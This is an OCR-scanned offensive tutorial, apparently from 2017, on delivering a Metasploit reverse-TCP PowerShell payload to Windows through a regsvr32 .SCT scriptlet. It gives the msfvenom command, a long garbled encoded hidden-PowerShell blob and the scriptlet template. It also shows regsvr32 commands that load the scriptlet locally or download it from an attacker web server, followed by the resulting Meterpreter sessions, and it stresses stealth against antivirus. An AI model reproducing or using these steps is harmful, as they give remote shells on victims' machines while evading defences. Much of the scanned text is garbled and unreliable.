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There are countless ways to deliver your Payload to
target system, MSFVenom offers multi payload/0S with
file output, this paper focuses on Win OS.

[1] Windows Executables:

We have long list of windows executables, some
depended on installed framework, windows welcome the
others with no preinstalled framework.

Sample list:

1-Winpe - exe

2-Vbs

3-VBA - MS Office

4-Powrsehll

5-Javascript

6-HTA

7-D11

8-MSI

9-Jar - Need Java environment

10- Python, Perl and Ruby needs preinstalled
environment as well
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The new method is using MSFVenom to create a payload
and emended it files usually not offered as
standalone payload in msfvenom.

[2] regsvr32 .SCT files

- A~

- ~ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.139 lport=4455 -f psh-cmd

First thing payloads are different, if the payload
doesn’t drop files (specially known AV Flagged
extension) the stealthier it gets, so I create simple

Poweshell payload:
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The Command output:

e_tcp Ihost=192.168.226.139 Lport=4435 -f psh-cd
+-Platform: :Windows fron the payload
6 from the payload
badcars speufle outputting raw payload
e 3 bytes
Final size of psh-cnd file: 6247 bytes
WCOUSPECH /b /c start /b /nin powershell.exe -nop -w hidden -e a0BACCANNBIAGAAGABOAHQACBCADOAQEBTAGKAeZBLACKALQBLAHEATAADACKAGHAKAGIAPOARAHAADNB3AGUACBAGEAZOBSAGHAL 2B L AIAZAnAHOAZQBSAHIAZOBTACQA YaASACOAZBUARYAOEB3AGKADgBKAGKACgArAC
AR A ACHB3AGEAWAZADOAXABYAGKADgBKAGEAHE A AADYB AGUACBTAGEAZBSAGHAXAB ADEAL DAYAFWACABYAHCAZ By AR LAGHADAALAGUAEAB LACCATOATACOACHACAEAZOB3ACOATHRLAGOAZB AHQATABTAKACHBOAGUADALAECAaQBhAGCAR B AIACHBPAGHACHALAFAACEBVAGUAZIB
ZAHIAUKBOAGEACGBUA thBnukG”AO\'.‘AMHI. L gBGAGKADABIAEAAYBEAGUAPQAKAGT AOWAKAHUAL gBBAHTAZNB AGOAZOBUAHOACHAIACCALQBUAGBACAAGACOAGAAGEARQBKAGQAZOBUACAAL (B JACARJABZADOAT gBLAHCALOBPAGTASgB LAGHAGRAGAE ATWALAED ALOBTAG“AcqBSAH.ﬂAdAByAGUAr“DBtACgA
LABDAEADHBUAHY AZQByAHQAXCAGADOARSE Y AGBADQBCAGEACBLADYANABTAHOAC B DAGAAZNADACCAJNBTADQACHE JAEEASpEAE ATHBSAGS AQNBBADCAV BKAGEANAVAGEAUNBCAFQAOQBUAEUACASAE QANGBRAE YA2ABLADAANgAAE TAQHBRAEAASEBF AHEANNBSAGoAE B AEEASOBKADOARNEBAE AR gBGA
FUAVABLADT AGWBQAE CAVABGAFUASABZAE ShagAYACOAA ADEAIIZBBAGAAQB BIAHQASEBRAE KATOAVAGOAMEAGSANAATADUAASADEALWADAHKAYIBrF thABrAGMAw.‘ArA KAQHBKADKAZOPVARYADUBXAEKA KAGABAFANSgBAGSATHBOAGSARQBPAE TAQB T AFYASKBEAHCAYRBNADCAT AYAGS Aai
RADYACBGAEOAVOBZAD Y ATHB3AE SAHgB3ADCALNBaAHCAUAAZAHTANABLAFpAYABSAGYAWZBIAGSAQNBHAGEACHBUAEANBLAEAAS BHACUANABOAFAB A FUAHBRAHIAZOArAF AL Br AFIAZABHAENASABEAGUANABAEOSCBpAHY AUNAZADKAS B3AEOARABFADUAGgByACOAZEBFAFYAZAB JADNANGBLAEN
FARYAESAVA4A EAdgBIIAEDAC BOAEARAB LAHARABY AFKANQBSADUASHE AHoAYgBLADCA(BIAECAQNBTAHYAVNBCAFUAeBNAF AUABUADQAdgBLADUATABRADGATABKAF CALWBIAGOARgBADUASHBLADKALIBRAFHANgBsAHOARgBHAGKADHBADRAWABYAGSAWIBAEAANABZAGKARgBEAHAVQBEAGYARED
Y AZABCAGEAVOBpAoAaHANAHRACABFAENAABZAEOADUBLAC AN BpARAACABFAE TARSBEAENARBr AEAYBCAGOANABAFUAUQB ZADQAIABIADY AUABGAGEANgBAQANOBLAE ARNBLAHOARNAZAECAABLAFYANQBNAE IAbgBBAHEABKAEUARgBAKAQEBEAEKAVIBVAHKACABr AHRALWBSAFCATOBZAGKAU
A OAHKAROBUAF TATHBZAEY ANgBRAGOAQMASAHUARGBADKAUNBS AHKAUNB AEYAHAAD AU B ZAHTARQBUADEAC EBY AFOAS B XAGYALIBIAF YA THA4AHEARQBUAFCASABHAE YAC BLAGOAQQARAEOAGBSAGQA SBpADMANgBHAFALNBRAEY ASAA AE4AZAAAGAWABBAF CAZQBUAHC AatBHAFMATAAACEAZgBAF
PAlIgBgAFOAOABYAHCANQASAHHAYAASACSARQBTAHCALWAGAEEAYOAYAGOAEQBRADUAT g3 JAECAYQA ArkAeABPADY ATOAVADAaAZAGEAC N AGCAVAYAHgANABAEUARNE 1AG AR LAGUARBAFUACOBUAF TAS gBLAFOADABHAHAANOBHAE TARAAZAHYAUQBGAGOANABGAFYADAASAGUADIA1AHCANVBAE g
ADAGHBZAGCAe B ACOAUNBAAE BASABVAGOANABKAF AU gBsAGihaABAHOACABPAGEANOASAFCAD B AGHAOABHAGEARSBOAE AKNEF ADUAZABYAEAAeABA G AOABCAGCAUABPAE ANYENADUAY QBSAHANGB 1 AEKAUNBXADUAD QB ADAALIQBGAHKAUNBNAE IARgEPAGSAVNELAHTAUNAIAEVAZOAZACSACABSAE A
S gAYADkAgBTAF FOADABTAFKACOBRAEIGQBRAGHARQBCAGYAGHB A AACHBRAHOACAAAGHAQBXAGIARNT AHoAQOBHAGEAZgB DA QBUAF AAZABAGEAWSBAGT AWgBGAEAZQA1 AEWAG)BUAGYAVABBAHEANOB0AGDATHBFAGHAKABXAENARBHAGAAWABGAF cAeQBDA CAYBFAFUAGQBVAFUASFRUAFHAY gBRA
sAquCAGOADAALAGMw\'MAGMLABI-.A TAUABVAHZAWOBUAEKADAA AHIACBHAF AegBaAGOAagBVAGUAS BTAEOAZOP! AGSAQGBKAE BAUAZAFCAYABOAENAYIABZAHAANQBPAGEAVBVAHQANgBOAE wAanLADMTOBr\AD!.HAM’.BIADOAW.MHQA([)BTA QARQBRAELAY pBEAFNASQAVAE EAOOBJACSAhqA AGIANU,
FAESASQB2AGTAVOBaACOASHBHAGSANAYAE UATEBWADquv.BNAGcALOAiA AU DADIARABBADOAZABEADCAT BBrADTASHBr AEKAQRAAFEAC EAVAGEAUBr AEwAdgBLADKADABSAE OANABjAGEAZABPAFEAZVBTAE VB jAGEARGBLAGoAawAWAE YADZBCAENACABNAGOAGOBoAGYAVABIAFlhegBpADAS BkAED
{biBnAGoASABKAECASgBIAHOARBKAGSANQBHADLAR IATEB3ADKANgBUAGUAVWBZAFKANNBSAE MASqBCAGEAPABSAGkAUABIAGFﬂAdWBBAGSANOBy’AGDAh\'.BpA TACQBGAGSAZANSAGBATgBYAFYIARAOAF ADABLAEUATWBXADCARABRAECATABVAF LAYNBOA cADEAJADDAPABlAGEASqEH
DQADABSAD(AdOB\'.‘AHMMOBE A B Ao Ae A A ARG BXAY AVAAZAHAAC QASAF YACOB2ADY AZCBHAGS AN A CASABYAENANAB AP AdABVARHABgBAGoAZOBIADTAYQBOAFYASRAOAHQARQAYAELASHBOAF cANgBVACOAagBLAHTAY gB4AFHANABKADTADQAZAGS AagBAGTAYQAZAGQAY: QBLAHIAhqBSAGOAd
BaADAARZBUAGOAABSAGY AVAAADQAOAT ADEAKIAT AFUATWBEAHQADNB LADEAD B AEYAWAB TAEAAGOBZAENAQUBCAEANOAYAR ADIAAGEAU B AFVANSANAGUASABIAR EAZOBIAGZA o BoAGY ACQBRANCALABAEMANOADAES AN A GoACOBLADYASAR]ACSAMHBNANLADQBZAEHANOBTAGEANABZAGOANNB2AG
A HBKAFOA B gATgBXAE A BAGOAN g3 ZAFACBBAD LBy AF CADIA3AOALOBNAG YA B AHKANCB A A gBTAETACHACHG Y AABVADEADIAS AP AUNAXAEARABS AGKAQUBAF RO 0B3AFKATgBVADKAZABYAECARYBOAFEADgBADAAINBGADCAVQBBAGYATIASAHCAY BBAHKAZABDAGAIAB ADCAgB
NAGEAOQBCAHIALIQB3AHAAVHB A YACQAYAFAAYgBOAGOADNBCAHKAQQAXAE BAYWEKAE TASAAYAHKACHEX AHIAVOBOAGYAY gBBAHZAUNBSAF AAaAVAFQAV ZBQAE sAEBOAE IANABNAGCAQQE ESAQABRADEAVBQAFIANCBEAESANZB2AE I ACARXAE BASABTAF 0AOQBOADEARASAHY ARYBSAGBAVHEUAGAA
QByAGEASHBXAFQADABMAEAAQUBLAF YATAAOAHIARABVAF KAHBRADZADOBSAHOAVABL AHOA(\’.BIADMNABLAGwA(qBrAGUAH’.‘MAHOA&OEHA AOAAyAHMAI.’h'.BTADUAI\’.BuADMT\’.‘A\"AFwA BZAGYADAAAGUAZ OB AHNANANVAHOSBYAF TAQBIAEEANAANAHOAHABEAF ZAUNBRAESANABVAGYARABOA
OATHBHADTAVABRADQADHB0ACAoABADCAKIBADA QLA ARABLAGHAQgBAGAAZBKAGKAZIA4AGUATASAEHANIOAGHACABADY AeQBOAE A B GoAKBRA AQUB AEOACBOAGYAVQBOADEAEBPAGKARABAHUACABOAFUAZHB ADUADQBOMEEATAZAEWACHBOAFHAEB JAGCARABOAGADHBARYAV
O AMABBAE SAZNASAF YANABHADgANGBP AE 0AaQBEAEKARgBDAGEAOBUAD ATABLAFYAS gBGAE KAaABRADEAZAB  AG4AGGBRADQANABT ADCANGB1 ADY A gBEA GUANBAA CSAHBAAGEAYWB LACSAVI B ADUAT ZBT ADAATHBPAF YAQUBIADANWBEAGOAT B AHEAY QBRADGAABOAE GAVWBNADYAT BAHYALWBNADU
g Ba Dk DB AHCAABSADQA A AR AU ZAH A AB A CSA B S A AZABAREAT ABAGIAN QB AGYA g AVADQAS QA 2AE A OABHAFKASBpAHA QB AHIAY EBIAGKAQEBHADKACABAHCAUgBSAHCARQASA TABARAAF TAOBRAGSAZNBUAENADAASAEUABNAVADCARNAZAF cANAB2AGCAY(B2AGOARAATAEEAZABA
HUASQB\"AE4AVOBDAG(AOOBBAC(AJMPACL.A[)mBJAEUAl AAEACQATQBIAH(ALOBPAG AanlAGMAdAAqAEWM LAFHACABYAGUAYOBEAF TAZQBAGIAZOBYACPAToBIAHCALGBRAGT AagBLAGIAGAAPAEKATHAUAENADNBEAHAC gBLAHIACHBDAGBAD AUAE CAegBpAARUIBOAHTAZQBhAGOAKARKAHIALABCAEKAT
PAUAENADNBEAAACZBLAHNACHBPAG ADgAUAENALNB AHAAC B LAMMACHBpAGEADgBNAGEAZABLAFOADgAGAECAZR A GEADOBWAHTAZOBZAHNAKQADACKAL gBSAGUAYQBKAFOADNBF AGAAZAROACKAONARADSAJABZACAAVOB ZAGUAABOAGUADABSAEUACAB AGIAGQBOAGUAPQAKAGYAY(BSAHIAZOATACCACHAUAF
TAZ0BKAGKACEBIAGHACABTAHOAYQBUAGQAY OBYAGOATHB 1AHOACAB AHOAPQAKAHQACoB 1 AGUAONAKAHHAL gBYAGKAD gBKAGBAGHBTAHOAe0BSACUAPQANAEgAa QBKAGQAZOBUAC ADNAKAHHAL gBDAHT AZQBhAHQAZOBOAGEAVBPAGAAZABYAHCAPQARAHQAC B T AGUADNAKAHRAPQBDAFNAEQBZAHQAZOBtACAARAD
'AGEAL\'.BUAG"A(\'.BUAGF n'.BLAGAUAByAG"A\\'.BlAH!.'IA(\'.BdADOADqBTAHDA\DBVAHDAMAMHI.'IAP\DMA




Now the payload can be used in two scenarios:

e Execute from CMD (or Macro) as file.sct

<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<I-- Proof Of Concept - Casey Smith @subTee -->
<l-- License: BSD3-Clause -->
<script language="JScript">

<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -e
aQBmMACgAWw.. the reset");

11>
</script>
</registration>

</scriptlet>

Thanks to @SubTee



Save it as poc.sct
From CMD on target machine:

%+ Command Prompt

D:\>regsvr32 /s /u /i:poc.sct scrobj.dll

D:\>

The results:

Encoded stage with x86/shikata_ga_nai
Sending encoded stage (957517 bytes) to 192.168.226.1

Meterpreter session 1 opened (192.168.226.139:4455 -> 192.168.226.1:58631) at 2017-06-09 10:04:52 +0300

We’ve got shell also it can be used Post Exploitation

e Download/Exec poc.sct

The same file can be uploaded to webserver

[#+] Command Prompt

D:\>regsvr32 /s /u /i:http://192.168.226.139:8000/poc.sct scrobj.dll

A\

And Finally

Encoded stage with x86/shikata_ga_nai
Sending encoded stage (957517 bytes) to 192.168.226.1
Meterpreter session 2 opened (192.168.226.139:4455 -> 192.168.226.1:58771) at 2017-06-09 10:09:33 +0300

sf exploit(handler) > |j




Outro:
This is one way (Thanks to @subTee) for the .SCT file

The method limited to your thinking and understanding
the mechanism of payload/windows

Hopefully in the next paper I will write about new
methods, advanced techniques

Cehck https://twitter.com/subTee
https://twitter.com/SyFi2k

By Zed


https://twitter.com/subTee
https://twitter.com/SyFi2k

